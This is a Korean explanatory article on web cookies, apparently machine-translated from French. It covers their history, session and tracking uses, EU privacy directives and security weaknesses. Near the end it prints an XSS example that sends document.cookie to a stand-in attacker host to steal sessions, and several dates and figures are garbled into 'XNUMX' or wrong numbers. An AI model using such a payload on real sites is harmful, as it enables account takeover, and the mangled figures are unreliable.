인터넷 쿠키: 무엇입니까? 정의, 기원, 유형 및 프라이버시 🍪

Un 쿠키 또는 웹 쿠키 (또는 쿠키, 약어로 증인 퀘벡에서)는 HTTP 통신 프로토콜에 의해 HTTP 서버가 HTTP 클라이언트로 보낸 일련의 정보로 정의되며, 후자는 특정 조건에서 동일한 HTTP 서버가 쿼리될 때마다 반환됩니다.

쿠키는 터미널에 저장된 작은 텍스트 파일 인터넷 사용자의. 20년 이상 존재하여 웹 사이트 개발자는 탐색을 용이하게 하고 특정 기능을 허용하기 위해 사용자 데이터를 저장할 수 있습니다. 쿠키는 잠재적으로 제XNUMX자에 의해 악용될 수 있는 잔여 개인 정보를 포함하고 있기 때문에 항상 어느 정도 논란이 되어 왔습니다.

웹 서버에서 웹 브라우저로 HTTP 헤더로 전송되며 웹 브라우저는 서버에 액세스할 때마다 변경되지 않은 상태로 반환됩니다. 쿠키를 사용하여 인증, 세션 (상태 유지) 및 사용자에 대한 특정 정보 저장, 사이트 기본 설정 또는 전자 쇼핑 카트의 콘텐츠 등. 쿠키라는 용어는 마법의 쿠키, 브라우저 쿠키의 아이디어와 이름에 영감을 준 UNIX 컴퓨팅의 잘 알려진 개념입니다. 쿠키에 대한 몇 가지 대안이 있으며 각각 고유한 용도, 장점 및 단점이 있습니다.

단순한 텍스트 파일이므로 쿠키를 실행할 수 없습니다. 그들은 아니다 스파이웨어도 바이러스도 아닙니다, 일부 사이트의 쿠키는 사용자가 여러 사이트를 방문할 때 추적할 수 있기 때문에 많은 바이러스 백신 소프트웨어에서 감지됩니다.

대부분의 최신 브라우저는 사용자가 쿠키 허용 또는 거부 여부 결정. 사용자는 또한 쿠키 저장 기간 선택. 그러나 쿠키를 완전히 거부하면 일부 사이트를 사용할 수 없게 됩니다. 예를 들어 자격 증명(사용자 이름 및 암호)을 사용하여 로그인해야 하는 쇼핑 카트 또는 사이트를 저장합니다.

역사적인

용어 쿠키 영어 용어에서 유래 마법의 쿠키, 프로그램이 수신하고 변경하지 않고 반환하는 데이터 패킷입니다. 쿠키는 이미 IT에서 사용되었습니다. 루 몬툴리 웹 커뮤니케이션에서 사용할 아이디어가 있었습니다. 6 월 1994. 당시 그는 고객을 위한 전자 상거래 애플리케이션을 개발한 Netscape Communications에 고용되어 있었습니다. 쿠키는 상점의 가상 장바구니 구현의 신뢰성 문제에 대한 해결책을 제시했습니다.

John Giannandrea와 Lou Montulli는 같은 해에 Netscape의 첫 번째 쿠키 사양을 작성했습니다. 0.9년 13월 1994일에 출시된 Mosaic Netscape 버전 XNUMX 베타, 통합 쿠키 기술 (게시물 참조). 쿠키의 첫 번째(실험적이지 않은) 사용은 Netscape 웹 사이트 방문자가 이전에 사이트를 방문한 적이 있는지 확인하는 것이었습니다. Montulli는 1995년에 쿠키 기술에 대한 특허를 신청했고 미국 특허 5774670이 부여되었습니다. 1998년에 부여.

0.9년 Netscape 1994 베타에서 구현된 후 쿠키는 2년 1995월에 출시된 Internet Explorer XNUMX에 통합되었습니다.

쿠키의 도입은 아직 대중에게 널리 알려지지 않았습니다. 특히 쿠키는 브라우저 설정에서 기본적으로 허용되었으며 사용자에게 쿠키의 존재를 알리지 않았습니다. 일부 사람들은 1995년 12/1996분기에 쿠키의 존재를 알고 있었지만 일반 대중은 파이낸셜 타임즈가 1996년 1997월 XNUMX일자 기사를 발표한 후에야 쿠키의 존재를 알게 되었습니다. 같은 해 쿠키는 언론의 많은 관심을 받았습니다. 사생활 침해 가능성이 있기 때문입니다. 쿠키의 주제는 XNUMX년과 XNUMX년 미국 연방 무역 위원회의 두 차례 협의에서 논의되었습니다.

공식 쿠키 사양의 개발은 이미 진행 중이었습니다. 공식 사양에 대한 첫 번째 논의는 1995년 1996월 www-talk 메일링 리스트에서 이루어졌습니다. 특별 IETF 작업 그룹이 구성되었습니다. Brian Behlendorf와 David Kristol이 각각 HTTP 트랜잭션에 상태를 도입하기 위한 두 가지 제안을 제안했지만 Kristol 자신이 이끄는 그룹은 Netscape의 사양을 출발점으로 사용하기로 결정했습니다. XNUMX년 XNUMX월 워킹 그룹은 제XNUMX자 쿠키가 프라이버시에 중대한 위협이 된다고 판단했습니다. 그룹에서 생산한 사양은 결국 다음과 같이 게시되었습니다. RFC 2109.

2014년 말부터 많은 사이트에서 쿠키에 대한 배너를 볼 수 있습니다. 다음을 허용하는 브라우저 확장이 하나 이상 있습니다. 배너가 표시되지 않음.

쿠키의 종류 및 용도

세션 관리

쿠키는 탐색 중에 사용자 데이터를 유지하는 데 사용할 수 있지만 여러 번 방문하는 경우에도 사용할 수 있습니다. 쿠키는 사용자가 사이트를 탐색하는 동안 사고 싶은 항목을 축적할 수 있는 가상 장치인 전자 쇼핑 카트를 구현하는 수단을 제공하기 위해 도입되었습니다.

요즘에는 쇼핑 카트와 같은 앱이 대신 서버의 데이터베이스에 항목 목록을 저장하므로 선호됩니다. 쿠키 자체에 저장하는 것보다. 웹 서버는 고유한 세션 ID가 포함된 쿠키를 보냅니다. 그런 다음 웹 브라우저는 각 후속 요청에서 이 세션 ID를 반환하고 바구니의 항목은 저장되고 이 동일한 고유 세션 ID와 연결됩니다.

쿠키를 자주 사용하면 자격 증명을 사용하여 사이트에 로그인하는 데 유용합니다. 즉, 웹 서버는 먼저 고유한 세션 ID가 포함된 쿠키를 보냅니다. 그런 다음 사용자는 자격 증명(일반적으로 사용자 이름과 암호)을 제공합니다. 그런 다음 웹 애플리케이션은 세션을 인증하고 사용자가 서비스에 액세스할 수 있도록 허용합니다.

개인화

쿠키는 사이트 사용자에 대한 정보를 기억하여 향후 적절한 콘텐츠를 표시하는 데 사용할 수 있습니다. 예를 들어, 웹 서버는 해당 웹 사이트에 로그인하는 데 사용된 마지막 사용자 이름이 포함된 쿠키를 보낼 수 있으므로 향후 방문 시 사용자 이름이 미리 채워질 수 있습니다.

많은 웹사이트는 사용자 기본 설정에 따라 개인화를 위해 쿠키를 사용합니다. 사용자는 양식에서 기본 설정을 선택하고 이를 서버에 제출합니다. 서버는 쿠키의 기본 설정을 인코딩하고 다시 브라우저로 보냅니다. 결과적으로 사용자가 이 사이트의 페이지에 액세스할 때마다 브라우저는 쿠키와 기본 설정 목록을 반환합니다. 그런 다음 서버는 사용자의 기본 설정에 따라 페이지를 사용자 정의할 수 있습니다. 예를 들어 Wikipedia 웹사이트에서는 사용자가 원하는 사이트의 스킨을 선택할 수 있습니다. Google 검색 엔진을 사용하면 사용자가 등록되지 않은 경우에도 각 결과 페이지에서 보고 싶은 결과 수를 선택할 수 있습니다.

추적

추적 쿠키는 인터넷 사용자의 브라우징 습관을 추적하는 데 사용됩니다. 이것은 부분적으로 페이지를 요청하는 컴퓨터의 IP 주소를 사용하거나 클라이언트가 모든 요청과 함께 보내는 '리퍼러' HTTP 헤더를 사용하여 수행할 수 있지만 쿠키는 더 높은 정밀도를 허용합니다. 이는 다음 예제와 같이 수행할 수 있습니다.

사용자가 사이트의 페이지를 호출하고 요청에 쿠키가 포함되어 있지 않으면 서버는 이것이 사용자가 방문한 첫 번째 페이지라고 가정합니다. 그런 다음 서버는 임의의 문자열을 생성하여 요청된 페이지와 함께 브라우저로 보냅니다.
이 순간부터 쿠키는 사이트의 새 페이지가 호출될 때마다 브라우저에서 자동으로 전송됩니다. 서버는 평소와 같이 페이지를 보내지만 호출된 페이지의 URL, 요청 날짜, 시간 및 쿠키를 로그 파일에 기록합니다.

로그 파일을 보면 사용자가 어떤 페이지를 어떤 순서로 방문했는지 확인할 수 있습니다. 예를 들어 파일에 id=abc 쿠키를 사용하여 만든 몇 가지 요청이 포함된 경우 이러한 모든 요청이 동일한 사용자로부터 온 것으로 설정할 수 있습니다. 요청된 URL, 요청과 관련된 날짜 및 시간을 통해 사용자의 브라우징을 추적할 수 있습니다.

아래에 설명된 제XNUMX자 쿠키 및 웹 비콘은 추가로 여러 사이트에서 추적을 가능하게 합니다. 단일 사이트 추적은 일반적으로 통계 목적으로 사용됩니다. 대조적으로, 제XNUMX자 쿠키를 사용하는 여러 사이트에 대한 추적은 일반적으로 광고 회사에서 익명의 사용자 프로필을 생성하는 데 사용됩니다(다음에 사용자에게 표시되어야 하는 광고를 결정하고 이러한 광고에 해당하는 이메일을 보내는 데 사용됨 — 스팸). ).

트래킹 쿠키는 사용자 개인 정보를 침해할 위험이 있지만 쉽게 삭제할 수 있습니다. 대부분의 최신 브라우저에는 애플리케이션을 닫을 때 영구 쿠키를 자동으로 삭제하는 옵션이 포함되어 있습니다.

타사 쿠키

웹 페이지에 포함된 이미지 및 기타 개체는 페이지를 호스팅하는 서버와 다른 서버에 상주할 수 있습니다. 페이지를 표시하기 위해 브라우저는 이러한 모든 객체를 다운로드합니다. 대부분의 웹사이트에는 다양한 출처의 정보가 포함되어 있습니다. 예를 들어 브라우저에 www.example.com을 입력하면 페이지의 일부에 다른 소스(즉, www. "자사" 쿠키는 브라우저의 주소 표시줄에 나열된 도메인에 의해 설정되는 쿠키입니다. 타사 쿠키는 다른 도메인에서 오는 페이지 개체 중 하나에 의해 설정됩니다.

기본적으로 Mozilla Firefox, Microsoft Internet Explorer 및 Opera와 같은 브라우저는 타사 쿠키를 허용하지만 사용자는 브라우저 옵션에서 설정을 변경하여 이를 차단할 수 있습니다. 웹 기능을 가능하게 하는 타사 쿠키에 내재된 보안 위험은 없지만 사용자 추적에도 사용됩니다. 사이트에서 사이트로.

Chrome을 포함한 모든 브라우저에서 사용할 수 있는 Ghostery와 같은 도구는 타사 간의 교환을 차단할 수 있습니다.

이행

웹 브라우저와 웹 페이지를 호스팅하는 서버 간의 가능한 상호 작용입니다. 서버는 브라우저에 쿠키를 보내고 브라우저는 다른 페이지를 호출할 때 쿠키를 다시 보냅니다.

쿠키는 웹 서버에서 브라우저로 보내는 작은 데이터 조각입니다. 브라우저는 변경되지 않은 상태를 서버에 반환하여 상태(과거 이벤트의 메모리)를 상태가 없는 HTTP 트랜잭션에 도입합니다. 쿠키가 없으면 웹 페이지 또는 웹 페이지 구성 요소의 각 검색은 동일한 사이트에 대한 다른 요청과 독립적인 격리된 이벤트입니다. 쿠키는 웹 서버에 의해 설정될 수 있을 뿐만 아니라 브라우저에서 지원되고 승인되는 경우 JavaScript와 같은 스크립팅 언어로도 설정될 수 있습니다.

공식 쿠키 사양은 브라우저가 최소한의 쿠키를 저장하고 재전송할 수 있어야 한다고 제안합니다. 특히, 브라우저는 각각 300KB의 쿠키를 최소 20개, 단일 서버 또는 도메인에 대해 최소 XNUMX개의 쿠키를 저장할 수 있어야 합니다.

섹션 3.1에 따르면 RFC 2965, 쿠키 이름은 대소문자를 구분하지 않습니다.

쿠키는 만료 날짜를 지정할 수 있으며 이 경우 쿠키는 이 날짜에 삭제됩니다. 쿠키가 만료 날짜를 지정하지 않으면 사용자가 브라우저를 떠나는 즉시 쿠키가 삭제됩니다. 따라서 만료 날짜를 지정하는 것은 쿠키가 여러 세션에서 살아남도록 하는 방법입니다. 이러한 이유로 만료 날짜가 있는 쿠키는 지속적. 애플리케이션 예: 소매 사이트는 영구 쿠키를 사용하여 사용자가 장바구니에 넣은 항목을 기록할 수 있습니다(실제로 쿠키는 컴퓨터가 아니라 판매 사이트의 데이터베이스에 저장된 항목을 참조할 수 있음). . 이 방법을 통해 사용자가 구매하지 않고 브라우저를 나갔다가 나중에 다시 돌아오면 장바구니에서 항목을 다시 찾을 수 있습니다. 이러한 쿠키가 만료 날짜를 지정하지 않으면 브라우저를 닫을 때 만료되며 바구니 내용에 대한 정보가 손실됩니다.

쿠키는 쿠키를 생성한 서버의 특정 도메인, 하위 도메인 또는 경로로 범위가 제한될 수 있습니다.

웹 페이지 전송은 HTTP(HyperText Transfer Protocol)를 사용하여 수행됩니다. 쿠키를 무시함으로써 브라우저는 일반적으로 짧은 텍스트를 보내 웹 서버에서 페이지를 호출합니다. HTTP 요청. 예를 들어 www.example.org/index.html 페이지에 액세스하기 위해 브라우저는 www.example.org 서버에 연결하고 다음과 같은 요청을 보냅니다.

	GET /index.html HTTP/1.1호스트: www.example.org
항해자	→	봉사자

서버는 유사한 텍스트가 앞에 오는 요청된 페이지를 전송하여 응답하며 전체가 호출됩니다. HTTP 응답. 이 패킷에는 쿠키를 저장하도록 브라우저에 지시하는 행이 포함될 수 있습니다.

	HTTP/1.1 200 OK콘텐츠 유형: text/htmlSet-Cookie: 이름=값 (HTML 페이지)
항해자	←	봉사자

서버는 브라우저가 쿠키를 저장하기를 원하는 경우에만 Set-Cookie 라인을 보냅니다. Set-Cookie는 브라우저가 name=value 문자열을 저장하고 향후 서버에 대한 모든 요청에서 반환하도록 요청하는 것입니다. 브라우저가 쿠키를 지원하고 브라우저 옵션에서 쿠키가 활성화된 경우 동일한 서버에 대한 모든 후속 요청에 쿠키가 포함됩니다. 예를 들어 브라우저는 www.example.org 서버에 다음 요청을 전송하여 www.example.org/news.html 페이지를 호출합니다.

	GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: /
항해자	→	봉사자

이것은 동일한 서버의 다른 페이지에 대한 요청이며 서버가 이전에 브라우저에 보낸 문자열을 포함하고 있기 때문에 위의 첫 번째와 다릅니다. 이 수단 덕분에 서버는 이 요청이 이전 요청에 연결되어 있음을 알고 있습니다. 서버는 호출된 페이지를 전송하고 여기에 다른 쿠키를 추가하여 응답합니다.

쿠키의 값은 호출된 페이지에 대한 응답으로 Set-Cookie: name=new_value 새 줄을 전송하여 서버에서 변경할 수 있습니다. 그런 다음 브라우저는 이전 값을 새 값으로 바꿉니다.

Set-Cookie 행은 일반적으로 HTTP 서버가 아닌 CGI 프로그램 또는 기타 스크립팅 언어에 의해 생성됩니다. HTTP 서버(예: Apache)는 프로그램의 결과(쿠키를 포함하는 헤더가 앞에 오는 문서)만 브라우저로 전송합니다.

쿠키는 브라우저에서 실행되는 JavaScript 또는 기타 유사한 언어, 즉 서버 측이 아닌 클라이언트 측에서도 설정할 수 있습니다. JavaScript에서는 document.cookie 객체가 이 용도로 사용됩니다. 예를 들어 document.cookie = "temperature=20" 문은 값이 20인 "temperature"라는 쿠키를 생성합니다.

속성이 있는 쿠키를 설정하는 google.com의 HTTP 응답의 예입니다.

이름/값 쌍 외에도 쿠키에는 만료 날짜, 경로, 도메인 이름 및 연결 유형(예: 일반 또는 암호화)이 포함될 수 있습니다. RFC 2965는 또한 쿠키에 필수 버전 번호가 있어야 한다고 정의하지만 이는 일반적으로 생략됩니다. 이러한 데이터 부분은 name=new_value 쌍을 따르고 세미콜론으로 구분됩니다. 예를 들어 Set-Cookie 라인을 전송하여 서버에서 쿠키를 생성할 수 있습니다. name=new_value; 만료일=날짜; 경로=/; 도메인=.example.org.

쿠키는 만료된 후 다음과 같은 상황에서 브라우저에서 서버로 전송되지 않습니다.

브라우저가 닫힐 때 쿠키가 영구적이지 않은 경우.
쿠키 유효기간이 지난 경우.
쿠키 만료 날짜가 과거 날짜로 변경된 경우(서버 또는 스크립트에 의해).
브라우저가 사용자의 요청에 따라 쿠키를 삭제하는 경우.

세 번째 상황에서는 서버나 스크립트가 명시적으로 쿠키를 삭제할 수 있습니다. Google Chrome 웹 브라우저에서 콘텐츠 설정에 액세스하여 특정 쿠키의 만료 날짜를 알 수 있습니다. 컴퓨터에 저장된 쿠키는 삭제 절차를 거치지 않으면 수십 년 동안 그대로 남아 있을 수 있습니다.

고정관념

인터넷에 소개된 이후 쿠키에 대한 많은 아이디어가 인터넷과 미디어에 퍼졌습니다. 1998년 미국 에너지부 컴퓨터 사고 모니터링 팀인 CIAC는 쿠키 보안 취약점이 "본질적으로 존재하지 않는다"고 판단하고 "방문 출처 및 방문한 웹 페이지의 세부 정보에 대한 정보"라고 설명했습니다. 웹 서버의 로그 파일에 이미 존재합니다.” 2005년에 Jupiter Research는 응답자의 상당수가 다음 진술을 고려한 연구 결과를 발표했습니다.

쿠키는 마치 바이러스, 사용자의 하드 드라이브를 감염시킵니다.
쿠키 생성 팝업.
쿠키는 전송하는 데 사용됩니다. 스팸.
쿠키는 광고에만 사용됩니다.

쿠키는 이용자의 컴퓨터에서 정보를 지우거나 읽을 수 없습니다. 그러나 쿠키를 사용하면 특정 사이트 또는 사이트 집합에서 사용자가 방문한 웹 페이지를 감지할 수 있습니다. 이 정보는 제XNUMX자에게 사용하거나 재판매할 수 있는 사용자 프로필에서 수집될 수 있으며, 이는 심각한 개인 정보 보호 문제를 일으킬 수 있습니다. 일부 프로필은 개인 정보가 포함되어 있지 않다는 점에서 익명이지만 그러한 프로필도 의심스러울 수 있습니다.

같은 연구에 따르면 많은 인터넷 사용자가 쿠키를 삭제하는 방법을 모릅니다. 사람들이 쿠키를 신뢰하지 않는 이유 중 하나는 일부 사이트가 쿠키의 개인 식별 측면을 남용하고 이 정보를 다른 소스와 공유했기 때문입니다. 스팸으로 간주되는 대상 광고 및 원치 않는 이메일의 상당 부분은 추적 쿠키에서 수집한 정보에서 비롯됩니다.

브라우저 설정

대부분의 브라우저는 쿠키를 지원하며 사용자가 이를 비활성화할 수 있습니다. 가장 일반적인 옵션은 다음과 같습니다.

쿠키가 지속적으로 허용되거나 차단되도록 쿠키를 완전히 활성화 또는 비활성화합니다.
브라우저의 주소 표시줄에 javascript: alert(document.cookie)를 입력하여 사용자가 지정된 페이지에서 활성 쿠키를 볼 수 있도록 합니다. 일부 브라우저에는 현재 브라우저에 저장된 쿠키를 보고 선택적으로 삭제할 수 있는 사용자를 위한 쿠키 관리자가 통합되어 있습니다.

대부분의 브라우저는 또한 쿠키를 포함하는 개인 데이터의 전체 삭제를 허용합니다. 쿠키 권한을 제어하는 추가 모듈도 있습니다.

개인 정보 및 타사 쿠키

이 가상의 예에서 광고 회사는 두 개의 웹사이트에 배너를 배치했습니다. 서버에서 배너를 호스팅하고 제XNUMX자 쿠키를 사용함으로써 광고 회사는 이 두 사이트를 통한 사용자의 탐색을 추적할 수 있습니다.

쿠키는 웹 사용자의 개인 정보 보호 및 익명성에 중요한 영향을 미칩니다. 쿠키는 쿠키를 설정한 서버나 동일한 인터넷 도메인에 속한 서버로만 다시 전송되지만 웹 페이지에는 다른 도메인에 속한 서버에 저장된 이미지나 기타 구성 요소가 포함될 수 있습니다. 이러한 외부 구성 요소를 복구하는 동안 설정되는 쿠키를 타사 쿠키. 여기에는 원치 않는 팝업 창의 쿠키가 포함됩니다.

광고 회사는 타사 쿠키를 사용하여 사용자가 방문하는 여러 사이트에서 사용자를 추적합니다. 특히, 광고 회사는 광고 이미지 또는 추적 픽셀을 배치한 모든 페이지에서 사용자를 추적할 수 있습니다. 사용자가 방문한 페이지에 대한 지식을 통해 광고 회사는 사용자의 광고 선호도를 타겟팅할 수 있습니다.

사용자 프로필을 구축하는 기능은 특히 제XNUMX자 쿠키를 사용하여 여러 도메인에서 추적이 수행되는 경우 개인 정보 침해로 간주됩니다. 이러한 이유로 일부 국가에서는 쿠키 관련 법률을 시행하고 있습니다.

미국 정부는 2000년에 백악관 마약 정책국이 온라인 마약 광고를 보는 사용자의 컴퓨터를 추적하기 위해 쿠키를 사용하고 있다는 사실이 밝혀진 후 쿠키 배치에 대한 엄격한 규칙을 시행했습니다. 2002년 개인 정보 보호 운동가인 Daniel Brandt는 CIA가 웹 사이트를 방문한 컴퓨터에 영구 쿠키를 남겼다는 사실을 발견했습니다. 이 위반 사실을 알게 된 후 CIA는 이러한 쿠키가 의도적으로 전송되지 않았음을 선언하고 설정을 중단했습니다. 25년 2005월 XNUMX일 Brandt는 NSA(National Security Agency)가 소프트웨어 업데이트로 인해 방문자의 컴퓨터에 두 개의 영구 쿠키를 남겼다는 사실을 발견했습니다. NSA는 통보를 받은 후 즉시 쿠키를 비활성화했습니다.

영국에서는 쿠키 법 "는 25년 2012월 XNUMX일에 발효되어 사이트가 자신의 의도를 선언하도록 의무화하여 사용자가 인터넷에서 자신의 이동 흔적을 남기고 싶은지 여부를 선택할 수 있도록 합니다. 따라서 광고 타겟팅으로부터 보호받을 수 있습니다. 하지만, 에 따르면 가디언, 인터넷 사용자의 동의가 반드시 명시적인 것은 아닙니다. 사용자 동의 조건이 변경되어 따라서 암시.

프라이버시에 관한 지침 2002/58

Directive 202/58 프라이버시 및 전자 통신에는 쿠키 사용에 대한 규칙이 포함되어 있습니다. 특히, 이 지침의 5조 3항은 다음과 같은 경우에만 사용자 컴퓨터에 데이터(예: 쿠키)를 저장할 수 있도록 요구합니다.

사용자는 데이터가 어떻게 사용되는지 알 수 있습니다.
사용자에게는 이 저장 작업을 거부할 수 있는 옵션이 제공됩니다. 그러나 이 조항은 기술적인 이유로 데이터를 저장하는 것은 이 법에서 제외된다고 명시하고 있습니다.

2003년 2004월부터 시행될 예정이었으나 XNUMX년 XNUMX월 보고서에 따르면 이 지침은 매우 불완전하게만 실행되었으며 특정 회원국(슬로바키아, 라트비아, 그리스, 벨기에 및 룩셈부르크)은 아직 국내법에 대한 지시.

29년 G2010의 의견에 따르면 인터넷 사용자의 명시적인 동의에 따라 행태 기반 광고 목적으로 쿠키를 사용하는 것을 특히 조건으로 하는 이 지침은 여전히 매우 빈약하게 적용되고 있습니다. 실제로 대부분의 사이트는 "기술적" 쿠키를 구분하지 않고 사용에 대한 정보를 제공하지 않고 "쿠키" 사용을 알리는 단순한 "배너"로 제한함으로써 지침을 준수하지 않는 방식으로 그렇게 합니다. 기술 쿠키(장바구니 관리 쿠키 등)를 유지하고 "추적" 쿠키를 거부하려는 사용자에게 실질적인 선택권을 제공하지 않습니다. 실제로 쿠키를 거부하면 많은 사이트가 제대로 작동하지 않으며 이는 지침 2002/58 또는 지침 95/46(개인 데이터 보호)을 준수하지 않습니다.

지침 2009 / 136 / CE

이 자료는 2009년 136월 25일자 지침 2009/95/EC에 의해 업데이트되었습니다. "가입자 또는 사용자의 단말기 장비에 정보를 저장하거나 이미 저장된 정보에 액세스하는 것은 다음 조건에서만 허용됩니다. 가입자 또는 사용자는 Directive 46/XNUMX/EC에 따라 처리 목적에 대해 타인 간에 명확하고 완전한 정보를 받은 후 동의했습니다.” 따라서 새로운 지침은 인터넷 사용자의 컴퓨터에 쿠키를 배치하기 전에 의무를 강화합니다.

그러나 지침의 예비 고려 사항에서 유럽 입법자는 다음과 같이 명시합니다. 브라우저 또는 기타 애플리케이션의 적절한 설정 사용”. 그러나 실제로 현재까지 어떤 브라우저도 필수 기술 쿠키를 사용자의 선택에 맡겨야 하는 선택적 쿠키와 분리하는 것을 가능하게 하지 않습니다.

이 새로운 지침은 2012년 2014월 벨기에 의원들에 의해 변경되었습니다. 지시문의 제약.

P3P

P3P 사양에는 서버가 수집하는 정보의 종류와 목적을 정의하는 개인 정보 보호 정책을 명시하는 기능이 포함됩니다. 이러한 정책에는 쿠키를 사용하여 수집된 정보의 사용이 포함되지만 이에 국한되지 않습니다. P3P의 정의에 따르면 브라우저는 개인 정보 보호 정책을 사용자의 기본 설정과 비교하거나 서버에서 선언한 개인 정보 보호 정책 개인 정보 보호 정책을 제시하여 사용자에게 요청하여 쿠키를 허용하거나 거부할 수 있습니다.

Apple Safari 및 Microsoft Internet Explorer 버전 6 및 7을 비롯한 많은 브라우저는 P3P를 지원하므로 브라우저에서 타사 쿠키 저장을 수락할지 여부를 결정할 수 있습니다. Opera 브라우저를 사용하면 사용자는 타사 쿠키를 거부하고 인터넷 도메인에 대한 전역 및 특정 보안 프로필을 만들 수 있습니다. Mozilla Firefox 버전 2는 P3P 지원을 중단했지만 버전 3에서 복원했습니다.

타사 쿠키는 대부분의 브라우저에서 차단하여 사용자의 웹 경험에 부정적인 영향을 주지 않으면서 개인 정보 보호를 강화하고 광고 추적을 줄일 수 있습니다. 많은 광고 대행사가 옵션을 제공합니다. 옵트 아웃 브라우저에서 이 타겟팅을 비활성화하는 일반 쿠키를 설정하여 타겟 광고를 차단할 수 있지만 이러한 솔루션은 사용자가 이러한 쿠키를 삭제하는 즉시 삭제되어 선택을 취소하기 때문에 존중되는 경우 실질적으로 효과적이지 않습니다. 아웃 결정.

쿠키의 단점

개인 정보 보호 문제 외에도 쿠키에는 몇 가지 기술적 단점이 있습니다. 특히, 항상 사용자를 정확하게 식별하지 못하고, 많을 때 사이트 성능을 저하시킬 수 있고, 보안 공격에 사용될 수 있으며, 소프트웨어의 대표적인 상태 전이, 아키텍처 스타일과 충돌합니다.

부정확한 식별

컴퓨터에서 둘 이상의 브라우저를 사용하는 경우 각 브라우저에는 항상 별도의 쿠키 저장 장치가 있습니다. 따라서 쿠키는 개인을 식별하지 않고 사용자 계정, 컴퓨터 및 웹 브라우저의 조합을 식별합니다. 따라서 누구나 이러한 계정, 컴퓨터 또는 쿠키가 있는 브라우저를 사용할 수 있습니다. 마찬가지로 쿠키는 "인터넷 카페" 또는 컴퓨터 리소스에 대한 무료 액세스를 제공하는 장소와 같이 동일한 사용자 계정, 컴퓨터 및 브라우저를 공유하는 여러 사용자를 구분하지 않습니다.

그러나 실제로 이 진술은 오늘날 "개인용" 컴퓨터(또는 더 나쁜 스마트폰 또는 태블릿)가 주로 한 개인에 의해 사용되기 때문에 대부분의 경우 잘못된 것으로 판명됩니다. 수집된 정보의 양을 통해 그 사람이 "즉" 식별되지 않더라도 개인화된 타겟팅에 도달합니다.

쿠키는 네트워크의 다른 컴퓨터에서 도난당할 수 있습니다.

정상 작동 중에는 서버(또는 동일한 도메인에 있는 서버 그룹)와 사용자의 컴퓨터 브라우저 간에 쿠키가 다시 전송됩니다. 쿠키에는 민감한 정보(사용자 이름, 인증에 사용되는 암호 등)가 포함될 수 있으므로 다른 컴퓨터에서 해당 값에 액세스할 수 없어야 합니다. 쿠키 도난은 승인되지 않은 제XNUMX자가 쿠키를 가로채는 행위입니다.

쿠키는 세션 하이재킹이라는 공격에서 패킷 스니퍼를 통해 도난당할 수 있습니다. 네트워크상의 트래픽은 송수신 컴퓨터 이외의 컴퓨터(특히 암호화되지 않은 공용 Wi-Fi 공간)에서 가로채서 읽을 수 있습니다. 이 트래픽에는 일반 HTTP 프로토콜을 사용하여 세션을 통해 전송된 쿠키가 포함됩니다. 네트워크 트래픽이 암호화되지 않으면 악의적인 사용자가 "패킷 스니퍼"를 사용하여 네트워크에서 다른 사용자의 통신을 읽을 수 있습니다.

이 문제는 HTTPS 프로토콜을 사용하여 사용자 컴퓨터와 서버 간의 연결을 암호화함으로써 극복할 수 있습니다. 서버는 다음을 지정할 수 있습니다. 보안 플래그 쿠키를 설정하는 동안; 브라우저는 SSL 연결과 같은 보안 회선을 통해서만 전송합니다.

그러나 많은 사이트는 사용자 인증(예: 로그인 페이지)에 HTTPS 암호화 통신을 사용하지만 나중에 효율성을 위해 암호화되지 않은 HTTP 연결을 통해 세션 쿠키 및 기타 데이터를 정상적으로 보냅니다. 따라서 공격자는 다른 사용자의 쿠키를 가로채 적절한 사이트에서 가장하거나 쿠키 공격에 사용할 수 있습니다.

사이트 내 스크립팅: 서버와 클라이언트 사이에서만 교환되어야 하는 쿠키가 다른 제XNUMX자에게 전송됩니다.

쿠키를 훔치는 또 다른 방법은 사이트를 스크립팅하고 브라우저 자체가 쿠키를 수신하지 않는 악의적인 서버에 쿠키를 보내도록 하는 것입니다. 최신 브라우저를 사용하면 서버에서 원하는 코드 부분을 실행할 수 있습니다. 런타임 중에 쿠키에 액세스하면 해당 값이 쿠키에 액세스해서는 안 되는 서버에 어떤 형태로든 전달될 수 있습니다. 쿠키가 네트워크를 통해 전송되기 전에 암호화하는 것은 공격을 저지하는 데 도움이 되지 않습니다.

이러한 유형의 사이트 내 스크립팅은 일반적으로 사용자가 HTML 콘텐츠를 게시할 수 있도록 허용하는 사이트에서 공격자가 사용합니다. HTML 기여에 호환 코드의 일부를 통합함으로써 공격자는 다른 사용자로부터 쿠키를 받을 수 있습니다. 이러한 쿠키에 대한 지식은 훔친 쿠키를 사용하여 동일한 사이트에 연결하여 쿠키를 훔친 사용자로 인식함으로써 사용할 수 있습니다.

이러한 공격을 방지하는 한 가지 방법은 HttpOnly 플래그를 사용하는 것입니다. 스크립트에 가까운 클라이언트가 쿠키에 액세스할 수 없도록 계획된 버전 6 이후 PHP의 Internet Explorer 버전 5.2.0부터 도입된 옵션입니다. 그러나 웹 개발자는 사이트 개발 시 이를 고려하여 사이트의 스크립팅에 영향을 받지 않도록 해야 합니다.

사용되는 또 다른 보안 위협은 사이트의 수요 조작입니다.

공식 기술 사양에 따르면 쿠키가 발생한 도메인의 서버로만 쿠키를 다시 보낼 수 있습니다. 그러나 쿠키 헤더 이외의 수단을 사용하여 쿠키의 값을 다른 서버로 보낼 수 있습니다.

특히 JavaScript와 같은 스크립팅 언어는 일반적으로 쿠키 값에 액세스할 수 있으며 인터넷의 모든 서버에 임의의 값을 보낼 수 있습니다. 이 스크립팅 기능은 사용자가 다른 사용자가 볼 수 있도록 HTML 콘텐츠를 게시할 수 있는 웹 사이트에서 사용됩니다.

예를 들어, example.com 도메인에서 활동하는 공격자는 다른 방법으로는 제어할 수 없는 인기 있는 블로그를 가리키는 다음 링크가 포함된 댓글을 게시할 수 있습니다.

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

다른 사용자가 이 링크를 클릭하면 브라우저는 코드의 onclick 특성 부분을 실행하므로 document.cookie 문자열을 이 페이지에 대해 활성화된 사용자 쿠키 목록으로 바꿉니다. 따라서 이 쿠키 목록은 example.com 서버로 전송되므로 공격자는 이 사용자의 쿠키를 수집할 수 있습니다.

이러한 유형의 공격은 쿠키를 설정한 동일한 도메인에서 스크립트가 제공되고 값을 보내는 작업이 해당 도메인에서 인증된 것으로 나타나기 때문에 사용자 측에서 감지하기 어렵습니다. 이러한 유형의 사이트를 운영하는 관리자는 악성 코드의 게시를 방지하는 제한을 두는 것이 책임이라고 생각됩니다.

